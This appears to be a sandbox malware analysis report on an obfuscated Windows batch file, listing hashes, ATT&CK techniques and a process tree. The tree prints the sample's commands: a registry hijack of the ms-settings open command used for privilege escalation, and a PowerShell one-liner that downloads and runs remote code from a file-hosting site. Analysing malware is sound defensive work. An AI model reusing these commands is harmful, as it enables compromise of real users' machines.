fcc12b8d5974910bea96cd5166b2f0aa121dfb768e62662c1f0b8316f4ede646

General

Target
Script_obfuscated (1).bat
Size 408B
Sample261024-pfdbfsbx2n
SHA256 fcc12b8d5974910bea96cd5166b2f0aa121dfb768e62662c1f0b8316f4ede646
MD5 072c858dce2d31c3d9f4c26c680ec39f
SHA1 eec818cfe3ad51d2f5fbc1b8cee8894f7d903fc8
SHA512 6ff44d3041c2f8c75377eb703d3962a45f4e86e2a7769b341378b310d9cc1515f463da42f90e5459d7e7066d96f8185d9df0af84c054bd238a82aab0a7c4e09d
TLSH
T121E022272C16AA982D8121F889B97652195B02CFC870B7CA73E8B067680D15D87F1AED
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3632	powershell.exe
3	3632	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4996	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1376	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
996	timeout.exe
3396	timeout.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell\open\command	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell\open	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell\open\command	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell\open	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000_Classes\ms-settings\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Script_obfuscated (1).bat\""	reg.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
3632	powershell.exe
3632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	3632	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1376 wrote to memory of 2280	1376	cmd.exe	82
PID 1376 wrote to memory of 996	1376	cmd.exe	84
PID 1376 wrote to memory of 4996	1376	cmd.exe	85
PID 1376 wrote to memory of 3396	1376	cmd.exe	86
PID 1376 wrote to memory of 3632	1376	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Script_obfuscated (1).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1376
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /d "\"C:\Users\Admin\AppData\Local\Temp\Script_obfuscated (1).bat\"" /f
  2⤵
  - Modifies registry class
  PID:2280
- C:\Windows\system32\timeout.exe
  timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Remove-Item -Path HKCU:\Software\Classes\ms-settings\shell -Recurse -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\system32\timeout.exe
  timeout /t 10 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "irm files.catbox.moe/uui4nj | iex"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3632

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ca943c02c163cdf5099c1a6f7795399ec72d9d3520f97e01b2cc3fa5a381d5d
MD5 80814906f25b1fe1f0e57faff079ac06
SHA1 2d345eb65650071b9d08c4f23605d016155eb41a
SHA512 60b87cbff23bbca996c907b472e16d64e4d9d9d805fbd97a7f0a36d7f136be242f5e8d9b7a9caf16f7d44fafd2be2a8b69116c9b00e1546727f1a9c6aca6a3de
TLSH
T163115333B79CC234C8E915BA1088AE11B1B1C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_54gmqdx3.3pu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_54gmqdx3.3pu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing